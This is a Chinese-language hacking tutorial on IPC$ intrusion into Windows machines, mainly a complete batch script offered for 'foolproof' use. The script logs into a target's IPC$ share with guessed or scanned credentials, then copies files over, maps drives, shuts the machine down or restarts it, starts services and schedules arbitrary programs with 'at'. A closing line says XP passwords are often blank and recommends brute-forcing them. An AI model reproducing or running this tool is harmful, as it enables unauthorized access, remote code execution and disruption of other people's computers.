扫描用户名，密码和IPC$入侵

X-Scan扫描器 给你一个批处理代码，复制到记事本保存，然后把扩展名改成BAT，傻瓜式IPC入侵
@echo off
title ipc$
:zjm
cls
color 0a
for /l %%i in (1，1，3) do echo.
echo.
echo 输入要连接的IP。 按"q"退出!
echo.
set/p ip= 请输入IP:
if /i "%ip%"=="q" exit
set/p user= 请输入用户名:
if /i "%user%"=="q" exit
set/p password= 请输入密码：
if /i "%password%"=="q" exit
echo.
echo 正在建立连接......
net use \\%ip%\ipc$ "%password%" /user:%user%
IF ERRORLEVEL 1 goto error
IF ERRORLEVEL 0 goto ok
:error
color 0c
echo 连接失败! 请看提示! 按任意键返回主界面...
pause>nul & goto zjm
:ok
cls
color 0a
for /l %%i in (1，1，4) do echo.
echo 恭喜你!连接成功!
echo.
echo 1：传送文件 2：映射磁盘 3：远程关机
echo 4：远程开启服务 5：远程执行命令或程序
echo 6：返回重新选择IP 7：断开此连接 8：退出
echo.
set/p shr=请选择:
if /i "%shr%"=="1" goto chuansong
if /i "%shr%"=="2" goto yingshe
if /i "%shr%"=="3" goto guanji
if /i "%shr%"=="4" goto fuwu
if /i "%shr%"=="5" goto mingling
if /i "%shr%"=="6" goto zjm
if /i "%shr%"=="7" goto duankai
if /i "%shr%"=="8" exit
IF ERRORLEVEL 1 goto cw
:cw
cls
echo 您输入错误了! 按任意键返回!
pause >nul
goto ok

:chuansong
cls
color 0a
for /l %%i in (1，1，3) do echo.
echo 输入本地的文件的路径，（例如：C:\love.mp3 ）
echo 若路径太长，难以输入，可直接把文件拖到此批处理
echo 窗口内，就会自动把文件路径就会显示出来!
echo 提示：若文件路径中包含空格，请用双引号引上。
echo 按"4"返回。
echo.
set/p wj=输入本地文件路径:
if /i "%wj%"=="4" goto ok
set/p pf=要把文件传送到的盘符:
copy %wj% \\%ip%\%pf%
IF ERRORLEVEL 1 goto error
IF ERRORLEVEL 0 echo，OK!!! & echo，按任意键返回 & pause>nul & goto chuansong
:error
color 0c
echo 传送失败! 请看提示! 按任意键返回主界面...
pause>nul & goto ok

:yingshe
cls
color 0a
echo.
echo.
echo 按"4"返回。
echo.
set/p cp=输入对方的磁盘盘符:
if /i "%cp%"=="4" goto ok
set/p bd=映射为你的哪个盘符:
echo 正在执行...
net use %bd%: \\%ip%\%cp%
IF ERRORLEVEL 1 goto error
IF ERRORLEVEL 0 echo，OK!!! & echo，按任意键返回 & pause>nul & goto yingshe
:error
color 0c
echo 映射失败! 请看提示! 按任意键返回主界面...
pause>nul & goto ok

:guanji
cls
for /l %%i in (1，1，4) do echo.
echo 1：关机 2：重启 3：注销 4：返回
set/p shr=请选择:
if /i "%shr%"=="4" goto ok
if /i "%shr%"=="1" shutdown -m \\%ip% -s -t 0 >nul
if /i "%shr%"=="2" shutdown -m \\%ip% -r -t 0 >nul
if /i "%shr%"=="3" shutdown -m \\%ip% -l -t 0 >nul
if /i "%shr%"=="4" goto ok
IF ERRORLEVEL 1 goto error
IF ERRORLEVEL 0 echo，OK!!! & echo，按任意键返回 & pause>nul & goto ok
:error
color 0c
echo 操作失败! 请看提示! 按任意键返回主界面...
pause>nul & goto ok

:fuwu
cls
color 0a
for /l %%i in (1，1，3) do echo.
set/p fw= 输入要远程开启的服务名:
if /i "%fw%"=="4" goto ok
sc \\%ip% config %fw% start= demand >nul 2>nul
sc \\%ip% start %fw% >nul 2>nul
IF ERRORLEVEL 1 goto error
IF ERRORLEVEL 0 echo，OK!!! & echo，按任意键返回 & pause>nul & goto ok
:error
color 0c
echo 操作失败! 请看提示! 按任意键返回主界面...
pause>nul & goto ok

:mingling
cls
color 0a
for /l %%i in (1，1，3) do echo.
sc \\%ip% config schedule start= demand >nul 2>nul
sc \\%ip% start schedule >nul 2>nul
net time \\%ip%
echo 要在远程计算机上运行的程序都是靠“AT”来执行
echo 因此，若想在2:20的时候运行某程序，就要把指定
echo 运行的时间推后至少两分钟!
echo 提示:要指明程序的路径，若是在system32下即可省略!
echo 指定的时间格式要为24小时制，（例：15:20）
set/p cx=输入程序路径:
if /i "%cx%"=="4" goto ok
set/p time=指定几时几分运行:
at \\%ip% %time% %cx%
IF ERRORLEVEL 1 goto error
IF ERRORLEVEL 0 echo，OK!!! & echo，按任意键返回 & pause>nul & goto ok
:error
color 0c
echo 操作失败! 请看提示! 按任意键返回主界面...
pause>nul & goto ok

:duankai
echo 正在断开...
net use \\%ip% /del
IF ERRORLEVEL 1 goto error
IF ERRORLEVEL 0 echo，OK!!! & echo，按任意键返回 & pause>nul & goto ok
:error
color 0c
echo 操作失败! 请看提示! 按任意键返回主界面...
pause>nul & goto ok
xp可以进行IPC入侵，密码一般为空，猜解密码，可以用流光暴力破解，或其他软件都行xp系统也能用telnet入侵，等等。